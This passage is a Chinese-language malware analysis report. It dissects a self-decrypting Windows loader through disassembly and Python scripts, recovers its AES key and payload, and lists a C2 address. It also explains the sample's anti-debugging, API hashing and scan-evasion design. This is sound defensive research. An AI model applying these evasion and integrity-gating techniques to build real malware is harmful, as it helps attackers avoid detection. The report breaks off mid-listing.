样本名称:tcp_windows_amd64.v4.exe
样本 SHA256:32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4
样本 MD5:9959204e49c9c274bd53faa9480537d0
文件类型:PE32+ executable (GUI) x86-64, 3 sections, 25,976 bytes
编译器特征:MinGW-w64 GCC(__tmainCRTStartup 序言 + msvcrt.dll CRT)
分析环境:Kali Linux / uv / Python / openssl / objdump / strings
辅助模型:Qwen3.6 27B Abliterated
摘要
样本是一个完全自包含的双层内存加载器。它不连接网络,也不释放任何文件;其全部工作是打开自身的可执行文件,对文件中四段离散区域做 AES-256-CBC 解密,再叠加一层自实现的密钥流,校验通过后把内嵌的 PE32+ 载荷手工映射进内存并注册到 PEB 模块链表,最后跳入入口点。
解密密钥并非硬编码常量,而是对样本自身 .text 节区做 FNV-1a-32 哈希得到的。这一设计使密钥同时充当完整性闸门:.text 任意一个字节被修改,哈希改变,密钥随之改变,载荷校验必然失败。
内嵌载荷是一个 Winsock 信标,连接 177.3.88.123:32425/tcp,把自己的路由坐标以明文记录形式外发。
| 项目 | 结论 |
|---|---|
| 外层加密 | AES-256-CBC(无填充,14 轮) |
| 密钥来源 | .text 节区 FNV-1a-32 哈希 0xF128F979 |
| 二次混淆 | 自实现密钥流(LCG 变体) |
| 载荷校验 | 0xD00DFEED 魔数 + FNV-1a-64 校验和 |
| API 解析 | 外层 FNV-1a-32 哈希 / 内层 ROR13 哈希 |
| 反调试 | BeingDebugged、NtGlobalFlag & 0x70、NtSetInformationThread |
| 执行方式 | 手工 PE 映射 + PEB 模块注册 |
| C2 | 177.3.88.123:32425/tcp |
| 持久化 | 未发现 |
| 落地文件 | 无,载荷仅存在于内存 |
一、样本准备与初判
1.1 解压样本
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ unzip -P threatbook -o files/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4.zip -d extract/32497/
Archive: files/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4.zip
inflating: extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4
1.2 识别文件类型
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4
extract/32497/32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4: PE32+ executable for MS Windows 4.00 (GUI), x86-64 (stripped to external PDB), 3 sections
1.3 计算哈希
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ sha256sum sample.exe
32497be6d9a9b57a62dbb71eb61ff48e6db745b4b2c2548e21cb0be9f4f146a4 sample.exe
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ md5sum sample.exe
9959204e49c9c274bd53faa9480537d0 sample.exe
1.4 节区布局
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -h sample.exe
sample.exe: 文件格式 pei-x86-64
节:
Idx Name Size VMA LMA File off Algn
0 .text 00004490 0000000000401000 0000000000401000 00000200 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .data 00000510 0000000000406000 0000000000406000 00004800 2**4
CONTENTS, ALLOC, LOAD, DATA
2 .pdata 0000024c 0000000000407000 0000000000407000 00004e00 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
映射关系确立,后续所有地址换算依据此表:
| 节区 | 虚拟地址 | 文件偏移 |
|---|---|---|
.text | 0x401000 | 0x200 |
.data | 0x406000 | 0x4800 |
.pdata | 0x407000 | 0x4E00 |
1.5 导入表与字符串 —— 第一个关键信号
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ strings -a -n 5 sample.exe | head -20
!This program cannot be run in DOS mode.
.text
`.data
.pdata
'ppUS
kernel32.dll
GetStartupInfoA
GetCommandLineA
GetModuleHandleA
msvcrt.dll
strstr
_strdup
_controlfp
__set_app_type
__argc
__argv
_environ
__getmainargs
\<mLSn
6 e-Y
v{+>jz
S~tyK
导入表仅含 CRT 启动函数与 kernel32.dll。此刻可以确立两点判断:
- 没有任何网络 API(无
ws2_32、wininet、winhttp)—— 若样本具备网络行为,必然是运行时解析。 - 除导入名外不存在任何可读字符串 —— 字符串与配置均为加密存储。
这是典型的加密载荷 + 动态 API 解析结构。
二、加密算法识别
2.1 定位 AES 常数表
.data 中出现了一段高熵数据:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ xxd -s 0x4920 -l 0x20 sample.exe
00004920: 637c 777b f26b 6fc5 3001 672b fed7 ab76 c|w{.ko.0.g+...v
00004930: ca82 c97d fa59 47f0 add4 a2af 9ca4 72c0 ...}.YG.......r.
63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 是 AES 标准 S-box 的前 16 字节。逐字节比对确认。
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
def va2off(va):
if 0x401000<=va<0x405490: return va-0x401000+0x200
if 0x406000<=va<0x406510: return va-0x406000+0x4800
SBOX=bytes.fromhex('637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdb e0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16'.replace(' ',''))
INV=bytes.fromhex('52096ad53036a538bf40a39e81f3d7fb7ce339829b2fff87348e4344c4dee9cb547b9432a6c2233dee4c950b42fac34e082ea16628d924b2765ba2496d8bd12572f8f66486689816d4a45ccc5d65b6926c704850fdedb9da5e154657a78d9d8490d8ab008cbcd30af7e45805b8b34506d02c1e8fca3f0f02c1afbd0301138a6b3a9111414f67dcea97f2cfcef0b4e67396ac7422e7ad3585e2f937e81c75df6e47f11a711d29c5896fb7620eaa18be1bfc563e4bc6d279209adbc0fe78cd5af41fdda8338807c731b11210592780ec5f60517fa919b54a0d2de57a9f93c99cefa0e03b4dae2af5b0c8ebbb3c83539961172b047eba77d626e169146355210c7d')
t1=d[va2off(0x406120):va2off(0x406120)+256]
t2=d[va2off(0x406220):va2off(0x406220)+256]
print('0x406120 == AES S-box :',t1==SBOX)
print('0x406220 == AES INV-S-box :',t2==INV)
print('0x406320 前16字节 :',d[va2off(0x406320):va2off(0x406320)+16].hex())
"
0x406120 == AES S-box : True
0x406220 == AES INV-S-box : True
0x406320 前16字节 : 0001020408102040801b366cd8ab4d00
三张表全部确认:
| 地址 | 内容 | 用途 |
|---|---|---|
0x406120 | AES 正 S-box(256 B) | 加密路径 |
0x406220 | AES 逆 S-box(256 B) | 解密路径 |
0x406320 | 00 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4D | GF(2⁸) 幂表,用作 Rcon |
同时存在正逆两张 S-box,说明样本自身同时具备加解密能力。
2.2 核心调度函数
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40517f --stop-address=0x4051c0 sample.exe
000000000040517f <.text+0x417f>:
40517f: mov QWORD PTR [rbp+0x10],rcx
405183: mov QWORD PTR [rbp+0x18],rdx
405187: call 0x404375
40518c: mov eax,0x0
405191: leave
405192: ret
main 最终转入 0x404375 —— 全部核心逻辑所在。该函数长度 0xDD0(3,536 字节)。
三、样本自读取行为
3.1 获取自身模块基址
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40433d --stop-address=0x404375 sample.exe
000000000040433d <.text+0x333d>:
40433d: push rbp
40433e: mov rbp,rsp
404341: sub rsp,0x40
404348: call 0x401493
40434d: mov QWORD PTR [rbp-0x8],rax
404351: mov rax,QWORD PTR [rbp-0x8]
404355: add rax,0x20
404359: mov rcx,QWORD PTR [rax]
40435c: mov QWORD PTR [rbp-0x10],rcx
404360: mov rax,QWORD PTR [rbp-0x10]
404364: add rax,0x68
404368: mov QWORD PTR [rbp-0x18],rax
40436c: mov rax,QWORD PTR [rbp-0x18]
404370: mov rax,QWORD PTR [rax]
404373: leave
404374: ret
路径为 PEB → Ldr(+0x18) → InMemoryOrderModuleList(+0x20) → Flink(+0x68) → DllBase,即取自身模块基址。
3.2 打开并读取自身文件
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4049b2 --stop-address=0x404ab0 sample.exe
00000000004049b2 <.text+0x39b2>:
4049b2: call 0x40433d
4049c6: mov ecx,0x80
4049cb: mov QWORD PTR [rsp+0x28],rcx
4049d0: mov ecx,0x3
4049d5: mov QWORD PTR [rsp+0x20],rcx
4049e7: mov ecx,0x3
4049ec: mov r8,rcx
4049ef: mov ecx,0x80000000
4049f4: mov r11,rcx
4049fa: mov rcx,r10
4049fd: mov rdx,r11
404a00: mov r11,QWORD PTR [rbp-0x48]
404a04: call r11
404a07: mov QWORD PTR [rbp-0x88],rax
404a15: cmp rax,0xffffffffffffffff
404a19: jne 0x404a36
404a50: mov rdx,r11
404a53: mov r11,QWORD PTR [rbp-0x60]
404a57: call r11
404a5a: mov DWORD PTR [rbp-0x8c],eax
404a60: mov eax,DWORD PTR [rbp-0x8c]
404a66: add eax,0x10
404a69: mov ecx,0x4
404a6e: mov r9,rcx
404a71: mov ecx,0x3000
404a76: mov r8,rcx
404a8f: mov r11,QWORD PTR [rbp-0x28]
404a93: call r11
404a96: mov QWORD PTR [rbp-0x98],rax
参数逐项对应:
| 偏移 | 值 | 含义 |
|---|---|---|
0x4049ef | 0x80000000 | GENERIC_READ |
0x4049e7 | 3 | FILE_SHARE_READ|WRITE|DELETE |
0x4049d0 | 3 | OPEN_EXISTING |
0x4049c6 | 0x80 | FILE_ATTRIBUTE_NORMAL |
0x404a04 | — | CreateFileW 打开自身 |
0x404a57 | — | GetFileSize |
0x404a66 | size+0x10 | 分配大小 |
0x404a71 | 0x3000 | MEM_COMMIT|MEM_RESERVE |
0x404a69 | 4 | PAGE_EXECUTE_READWRITE |
0x404a93 | — | VirtualAlloc(RWX) |
样本把自己的 EXE 文件读进 RWX 内存缓冲。
这一步为何必须存在,值得展开说明。多数内存加载器会把加密载荷作为独立资源段或附加数据放在文件尾部,运行时从那里读取。这种布局留下一个显著特征:文件体积远大于代码段实际所需,且尾部存在一整块高熵数据,扫描工具用熵值阈值即可圈定。
本样本采用相反的做法:载荷密文分散藏在正常节区内部。四段密文的起始位置是 0x535C、0x6385、0x525C、0x64E7,而文件总长仅 0x6578,可见密文与 .text、.data 中的常规代码数据交错混排,并不存在"额外一大块高熵数据"这种可供 YARA 直接命中的形态。
要取出这些密文,前提是知道四组 (偏移, 长度) 参数。这些参数存放在 .data 的 0x4060D8 与 0x4060F8 两组位置,且以 8 字节为步长交错排布(0x4060D8、0x4060E0、0x4060E8、0x4060F0 与 0x4060F8、0x406100、0x406108、0x406110)。静态读取这八个 dword 只能得到八个数,无法判断哪一组是偏移、哪一组是长度,必须结合使用方的指令语义才能定性。
因此"打开自身并完整读取"并非冗余动作,而是唯一的取数途径:密文与索引参数都在自身映像内部,只有完整读入文件才能拿到,这也是本节 ReadFile 之后立即校验读取字节数的原因。
3.3 读取完整性校验
404b1e: call r11 ; ReadFile
404b21: cmp eax,0x0
404b24: je 0x404b43
404b2a: mov eax,DWORD PTR [rbp-0x90] ; 实际读取字节数
404b30: mov ecx,DWORD PTR [rbp-0x8c] ; 文件大小
404b36: cmp eax,ecx
404b38: jne 0x404b43 ; 不等则失败退出
必须读满整个文件,否则放弃。
四、密钥派生:从自身代码哈希而来
4.1 分段表结构
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404b82 --stop-address=0x404c12 sample.exe
404b82: mov eax,DWORD PTR [rip+0x1590] # 0x406118
404b88: mov DWORD PTR [rbp-0xdc],eax
404b8e: mov eax,DWORD PTR [rip+0x1544] # 0x4060d8
404b94: mov DWORD PTR [rbp-0xf4],eax
404b9a: mov eax,DWORD PTR [rip+0x1540] # 0x4060e0
404ba0: mov DWORD PTR [rbp-0xf0],eax
404ba6: mov eax,DWORD PTR [rip+0x153c] # 0x4060e8
404bac: mov DWORD PTR [rbp-0xec],eax
404bb2: mov eax,DWORD PTR [rip+0x1538] # 0x4060f0
404bb8: mov DWORD PTR [rbp-0xe8],eax
404bbe: mov eax,DWORD PTR [rip+0x1534] # 0x4060f8
404bc4: mov DWORD PTR [rbp-0x104],eax
404bca: mov eax,DWORD PTR [rip+0x1530] # 0x406100
404bd0: mov DWORD PTR [rbp-0x100],eax
404bd6: mov eax,DWORD PTR [rip+0x152c] # 0x406108
404bdc: mov DWORD PTR [rbp-0xfc],eax
404be2: mov eax,DWORD PTR [rip+0x1528] # 0x406110
404be8: mov DWORD PTR [rbp-0xf8],eax
读取这些常量:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
A=[struct.unpack_from('<I',d,o(0x4060d8+8*i))[0] for i in range(4)]
B=[struct.unpack_from('<I',d,o(0x4060f8+8*i))[0] for i in range(4)]
print('数组A [0x4060d8..] :',[hex(x) for x in A])
print('数组B [0x4060f8..] :',[hex(x) for x in B])
print('sum(A) =',hex(sum(A)),' sum(B) =',hex(sum(B)))
print('sum(B) 是 16 的倍数 :',sum(B)%16==0)
print('0x406118 =',hex(struct.unpack_from('<I',d,o(0x406118))[0]))
"
数组A [0x4060d8..] : ['0x535c', '0x6385', '0x525c', '0x64e7']
数组B [0x4060f8..] : ['0xff5', '0x108', '0xa9', '0x7a']
sum(A) = 0x16e24 sum(B) = 0x1220
sum(B) 是 16 的倍数 : True
0x406118 = 0x5200
4.2 判定 A/B 的角色
拼接循环的指令序列给出答案:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404cf9 --stop-address=0x404de0 sample.exe
404cf9: mov eax,DWORD PTR [rbp-0xe4]
404cff: shl rax,0x2
404d03: lea rcx,[rbp-0xf4] ; rcx = &A[i]
404d21: mov eax,DWORD PTR [rcx]
404d23: mov ecx,DWORD PTR [rdx] ; B[i]
404d25: add eax,ecx
404d63: mov eax,DWORD PTR [rbp-0xe4]
404d66: lea rdx,[rbp-0xf4] ; rdx = &A[i]
404d72: mov rdx,QWORD PTR [rbp-0x98] ; rdx = 文件缓冲
404d79: add rdx,rax ; src = filebuf + A[i] <<< A 是偏移
404d8d: lea rcx,[rbp-0x104] ; rcx = &B[i]
404d97: mov eax,DWORD PTR [rcx]
404d99: mov r8,rax ; r8 = B[i] <<< B 是长度
404daf: call 0x401188 ; memcpy
404dc8: mov eax,DWORD PTR [rbp-0x12c]
404dce: mov edx,DWORD PTR [rcx]
404dd0: add eax,edx
404dd2: mov DWORD PTR [rbp-0x12c],eax ; acc += B[i]
结论:
- 数组 A(
0x4060D8组)= 源偏移 - 数组 B(
0x4060F8组)= 长度 - 累加器
sum(B) = 0x1220,是 16 的倍数 —— 与 AES 分组要求吻合
4.3 节区哈希函数
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402bf8 --stop-address=0x402c40 sample.exe
0000000000402bf8 <.text+0x1bf8>:
402bf8: push rbp
402bf9: mov rbp,rsp
402bfc: sub rsp,0x50
402c03: mov QWORD PTR [rbp+0x10],rcx
402c07: mov QWORD PTR [rbp+0x18],rdx
402c0b: mov eax,DWORD PTR [rbp+0x18]
402c0e: cmp eax,0x200
402c14: jb 0x402c2f
402c1a: mov rax,QWORD PTR [rbp+0x10]
402c1e: movzx ecx,BYTE PTR [rax]
402c21: cmp ecx,0x4d
402c24: jne 0x402c2f
402c2a: jmp 0x402c39
402c2f: mov eax,0x1
402c34: jmp 0x402db9
前缀校验 size >= 0x200 且 buf[0] == 'M'。核心循环:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402cca --stop-address=0x402d56 sample.exe
402cca: mov rax,QWORD PTR [rbp-0x18]
402cce: add rax,0x24
402cd2: mov ecx,DWORD PTR [rax]
402cd4: mov DWORD PTR [rbp-0x1c],ecx ; Characteristics
402cd7: mov rax,QWORD PTR [rbp-0x18]
402cdb: add rax,0x14
402cdf: mov ecx,DWORD PTR [rax]
402ce1: mov DWORD PTR [rbp-0x20],ecx ; PointerToRawData
402ce4: mov rax,QWORD PTR [rbp-0x18]
402ce8: add rax,0x10
402cec: mov ecx,DWORD PTR [rax]
402cee: mov DWORD PTR [rbp-0x24],ecx ; SizeOfRawData
402cf1: mov eax,DWORD PTR [rbp-0x1c]
402cf4: and eax,0x20000000
402cfa: cmp eax,0x0
402cfd: je 0x402d56 ; 非可执行节区跳过
402d03: mov eax,DWORD PTR [rbp-0x20]
402d06: mov ecx,DWORD PTR [rbp-0x24]
402d09: add eax,ecx
402d0b: mov ecx,DWORD PTR [rbp+0x18]
402d0e: cmp eax,ecx
402d10: ja 0x402d56 ; 越界跳过
402d16: mov eax,DWORD PTR [rbp-0x24]
402d19: cmp eax,0x0
402d1c: je 0x402d56 ; 空节区跳过
402d3d: mov eax,DWORD PTR [rbp-0x24]
402d40: mov r11,rax
402d46: mov rcx,r10
402d49: mov rdx,r11
402d4c: call 0x4012d6 ; FNV-1a-32
逻辑为:
sh = buf + e_lfanew + 0x18 + SizeOfOptionalHeader
for i in 0..NumberOfSections:
chars = *(u32*)(sh + 0x24) Characteristics
rawptr = *(u32*)(sh + 0x14) PointerToRawData
rawsz = *(u32*)(sh + 0x10) SizeOfRawData
if (chars & 0x20000000) && rawptr + rawsz <= size && rawsz != 0:
return FNV1a32(buf + rawptr, rawsz, seed)
sh += 0x28
4.4 计算种子
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
d=open('extract/32497/sample.exe','rb').read()
SEED=struct.unpack_from('<I',d,0x4800)[0]
def fnv(b,s):
h=s
for c in b: h=((h^c)*0x1000193)&0xffffffff
return h
pe=struct.unpack_from('<I',d,0x3c)[0]
n=struct.unpack_from('<H',d,pe+6)[0]; osz=struct.unpack_from('<H',d,pe+0x14)[0]
sh=pe+0x18+osz
print('FNV 种子 [0x406000] =',hex(SEED))
for i in range(n):
o=sh+i*40
nm=d[o:o+8].rstrip(b'\0').decode()
chars=struct.unpack_from('<I',d,o+0x24)[0]
rawsz=struct.unpack_from('<I',d,o+0x10)[0]
rawptr=struct.unpack_from('<I',d,o+0x14)[0]
mark=''
if (chars&0x20000000) and rawptr+rawsz<=len(d) and rawsz:
mark=f' -> FNV={fnv(d[rawptr:rawptr+rawsz],SEED):#010x} <<< 采用'
print(f' {nm:8s} chars={chars:#010x} rawsz={rawsz:#06x} rawptr={rawptr:#06x}{mark}')
"
FNV 种子 [0x406000] = 0x3aef41ac
.text chars=0x60000020 rawsz=0x4600 rawptr=0x0200 -> FNV=0xf128f979 <<< 采用
.data chars=0xc0000040 rawsz=0x0600 rawptr=0x4800
.pdata chars=0x40000040 rawsz=0x0400 rawptr=0x4e00
种子 = 0xF128F979,取自 .text 节区(文件偏移 0x200,长度 0x4600),FNV 初始值 0x3AEF41AC,素数 0x1000193。
需要留意的是,FNV-1a 在本样本中出现了三次,用途各不相同,容易混淆。整理如下:
| 用途 | 函数地址 | 输入 | 折叠大小写 | 输出宽度 |
|---|---|---|---|---|
| 节区哈希(派生密钥种子) | 0x4012D6 | .text 原始字节 | 否 | 32 位 |
| UTF-16 模块名哈希 | 0x4013E9 | BaseDllName 缓冲区 | 是(强制大写) | 32 位 |
| 载荷完整性校验 | 0x402A26 | 内嵌 PE 字节 | 否 | 64 位 |
三者的算法核心相同(h = (h ^ byte) * prime),差异在于:
输入编码不同。 节区哈希直接处理字节流;模块名哈希处理的是 UTF-16 宽字符缓冲区,但实现上是把 BaseDllName.Length 除以 2 得到字符数后……实际逐字节读取(见 0x4013E9 的 movzx eax, WORD PTR [rcx] 后 and eax, 0xff,只取低字节),因此等效于只哈希 ASCII 部分。这是一个实现细节上的偷懒,但对结果没有影响,因为 DLL 名都是 ASCII。
大小写处理不同。 模块名需要折叠大小写,因为 Windows 的模块名大小写不敏感(KERNEL32.DLL 与 kernel32.dll 是同一个模块);而 .text 字节流不能折叠,否则会破坏哈希的区分度。
输出宽度不同。 完整性校验用 64 位是为了降低碰撞概率。32 位哈希在对抗性场景下可以构造碰撞(攻击者能构造两个不同文件产生相同哈希),但 64 位成本高得多。不过对本样本而言,这个校验的目的不是抗碰撞,而是检测意外损坏。
4.5 密钥派生函数
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402dbb --stop-address=0x402e50 sample.exe
0000000000402dbb <.text+0x1dbb>:
402dbb: push rbp
402dbc: mov rbp,rsp
402dbf: sub rsp,0x30
402dc6: mov QWORD PTR [rbp+0x10],rcx ; 输出缓冲
402dca: mov QWORD PTR [rbp+0x18],rdx ; seed
402dd6: mov eax,DWORD PTR [rbp-0x4]
402dd9: cmp eax,0x8
402ddc: jge 0x402f17 ; 循环 8 次
402e08: lea rdx,[rip+0x3251] # 0x406060
402e1c: lea rcx,[rip+0x325d] # 0x406080
402e26: movzx eax,BYTE PTR [rdx]
402e29: movzx edx,BYTE PTR [rcx]
402e2c: xor eax,edx
402e2e: and eax,0xff
402e38: mov BYTE PTR [rcx],al
两张表:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
print('0x406060:',d[o(0x406060):o(0x406060)+32].hex())
print('0x406080:',d[o(0x406080):o(0x406080)+32].hex())
"
0x406060: 3519675c36c19ce5a579155fb5526085df0ef0625299404d9a69921e4c1eb155
0x406080: b057e49572aafb5bd30bf898b743788974289d36f735fac117b82770705553c5
派生逻辑:
for i in 0..7:
out[i+0x00] = tab1[i + 0x00] ^ tab2[i + 0x00]
out[i+0x08] = tab1[i + 0x08] ^ tab2[i + 0x08]
out[i+0x10] = tab1[i + 0x10] ^ tab2[i + 0x10]
out[i+0x18] = tab1[i + 0x18] ^ tab2[i + 0x18]
for i in 0..31:
out[i] ^= (seed >> ((i & 3) * 8)) & 0xFF
计算结果:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
T1=d[o(0x406060):o(0x406060)+32]; T2=d[o(0x406080):o(0x406080)+32]
seed=0xf128f979
km=bytes(T1[i]^T2[i] for i in range(32))
key=bytes(k^((seed>>((i&3)*8))&0xff) for i,k in enumerate(km))
print('密钥材料 :',km.hex())
print('AES-256密钥 :',key.hex())
"
密钥材料 : 854e83c9446b67be7672edc70211180cab266d54a5acba8c8dd1b56e3c4be290
AES-256密钥 : fcb7ab383d924f4f0f8bc5367be830fdd2df45a5dc55927df4289d9f45b2ca61
AES-256 密钥 = FCB7AB383D924F4F0F8BC5367BE830FDD2DF45A5DC55927DF4289D9F45B2CA61
到这里应当说明这个设计为何值得单独关注。如果密钥是硬编码常量,直接写在 .data 里 32 个字节,分析者定位到它就能解密载荷、还原样本全部行为。因此作者把密钥间接化:以 .text 节区哈希为种子,对两张静态表做 XOR 扩展得到最终密钥。
这个间接化产生一个容易被忽略的连锁效应:.text 节区同时是"被保护的数据"与"密钥的输入",两者是同一份字节,于是获得三重效果。
抗静态篡改。 若为打补丁而改动 .text 中任意一个字节(哪怕只是把某处条件跳转改成 NOP),该字节会参与 FNV 计算,哈希随之改变,派生密钥完全不同,AES 解密输出成为乱码,0xD00DFEED 魔数校验立即失败。样本因此获得自校验能力,但它校验的并非"文件是否被改",而是"改过之后还能不能解开自己"。
抗内存补丁。 在 .text 内下软件断点时,调试器把目标字节替换为 0xCC。这个替换发生在运行时内存中,而样本解密前先通过 CreateFileW 从磁盘重新读取原始字节(磁盘上不含 0xCC),因此常规断点不会破坏哈希。但若采用内存补丁方式修改 .text(例如为跳过反调试检查而写入 NOP),哈希必然改变。这意味着内存补丁这条路被堵死,只剩一条可行路径:在反调试检查处修改寄存器或标志位绕过,而这不会改动 .text 内容。
抗脱壳重打包。 若试图把解密后的载荷重新打包为独立可执行文件以便分析,必须重新计算 .text 哈希并相应调整密钥与密文;跳过这一步,重打包产物无法运行。
五、解密链还原
5.1 调度器中的调用序列
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404e10 --stop-address=0x404f00 sample.exe
404e1a: call 0x402dbb ; 密钥派生
404e1f: mov eax,0x10
404e24: mov r8,rax
404e27: lea rax,[rip+0x1272] # 0x4060a0 ; IV 源
404e31: lea rax,[rbp-0xd8]
404e3e: mov rdx,r11
404e41: call 0x401188 ; memcpy(IV, 0x4060a0, 16)
404e46: mov eax,DWORD PTR [rbp-0x108]
404e4c: mov r9,rax ; 长度
404e4f: mov rax,QWORD PTR [rbp-0xa0]
404e56: mov r8,rax ; 数据
404e59: lea rax,[rbp-0xd8]
404e60: mov r11,rax ; IV
404e63: lea rax,[rbp-0xc8]
404e6a: mov r10,rax ; 密钥
404e73: call 0x4026ee ; AES-CBC 解密
404e78: mov DWORD PTR [rbp-0x110],eax
404e84: cmp eax,0x20
404e87: jge 0x404ea4 ; 结果须 >= 0x20
404ea4: mov eax,DWORD PTR [rip+0x1226] # 0x4060d0
404eaa: mov QWORD PTR [rsp+0x20],rax ; 种子
404eaf: mov eax,0x20
404eb4: mov r9,rax ; 表长 32
404eb7: lea rax,[rip+0x11f2] # 0x4060b0 ; 表
404ec1: mov eax,DWORD PTR [rbp-0x110]
404ec7: mov r11,rax ; 长度
404eca: mov rax,QWORD PTR [rbp-0xa0]
404ed1: mov r10,rax ; 数据
404eda: call 0x402955 ; 密钥流解密
404edf: mov rax,QWORD PTR [rbp-0xa0]
404ee6: mov ecx,DWORD PTR [rax]
404ee8: xor ecx,0x4fa49ea2
404eee: cmp ecx,0x9fa9604f ; 魔数校验
完整链条:
① 分段组装 4 段 (偏移,长度) → 0x1220 字节密文
② 密钥派生 seed = FNV1a32(.text) = 0xF128F979 → 32 字节密钥
③ AES 解密 0x4026EE(key, iv, buf, len)
④ 密钥流 0x402955(buf, len, tab, 32, seed)
⑤ 魔数校验 buf[0] ^ 0x4FA49EA2 == 0x9FA9604F → buf[0] == 0xD00DFEED
5.2 分段组装
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import hashlib
d=open('extract/32497/sample.exe','rb').read()
A=[0x535c,0x6385,0x525c,0x64e7]; B=[0xff5,0x108,0xa9,0x7a]
for i in range(4):
print(f' 段{i}: file[{A[i]:#06x}:{A[i]+B[i]:#06x}] len={B[i]:#06x}')
ct=b''.join(d[A[i]:A[i]+B[i]] for i in range(4))
open('/tmp/ct.bin','wb').write(ct)
print(f' -> 密文 {len(ct)} 字节 = {hex(len(ct))}, 16倍数: {len(ct)%16==0}')
print(' 密文 SHA256:',hashlib.sha256(ct).hexdigest())
print(' 密文前32字节:',ct[:32].hex())
"
段0: file[0x535c:0x6351] len=0x0ff5
段1: file[0x6385:0x648d] len=0x0108
段2: file[0x525c:0x5305] len=0x00a9
段3: file[0x64e7:0x6561] len=0x007a
-> 密文 4640 字节 = 0x1220, 16倍数: True
密文 SHA256: 5736c2e727f4a9a8f2e269e7618b93b68a256e4f2ada10eb39cb3310703eb6b8
密文前32字节: d13d8563cf2511e173649157ec82ca7f24ef0f632c3674c532ba8d1095aa08b8
四段在文件中离散分布,需按表重组。这是对静态特征扫描的规避。
5.3 AES-256-CBC 解密
使用 OpenSSL 验证(-nopad 因样本自行处理校验):
┌──(z㉿kali)-[/tmp]
└─$ openssl enc -d -aes-256-cbc -nopad -K fcb7ab383d924f4f0f8bc5367be830fdd2df45a5dc55927df4289d9f45b2ca61 -iv 69ac86b4b54c8af773b9d4818802a1ed -in ct.bin -out stage2.bin
┌──(z㉿kali)-[/tmp]
└─$ xxd stage2.bin | head -2
00000000: c44f 3181 09d9 69fb 3be5 c5d1 f296 a695 .O1...i.;.......
00000010: 9085 9404 f53f 0cf5 d809 999c c46f 22c5 .....?.......o".
5.4 密钥流二次解密
算法从 0x402960 逐指令还原:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4029a5 --stop-address=0x402a20 sample.exe
4029a5: movzx eax,BYTE PTR [rbp-0x5] ; state
4029a9: mov ecx,0x83
4029ae: imul eax,ecx ; state * 0x83
4029b5: mov eax,DWORD PTR [rbp-0x4]
4029bb: xor edx,edx
4029bd: div ecx ; i % 32
4029bf: mov rax,QWORD PTR [rbp+0x20]
4029c3: add rax,rdx ; &tab[i%32]
4029c6: mov ecx,DWORD PTR [rbp-0x10]
4029c9: movzx edx,BYTE PTR [rax]
4029cc: add ecx,edx
4029ce: add ecx,0x11
4029d1: and ecx,0xff ; state = (state*0x83 + tab[i%32] + 0x11) & 0xff
4029e4: mov eax,DWORD PTR [rbp-0x4]
4029e7: mov edx,0x7
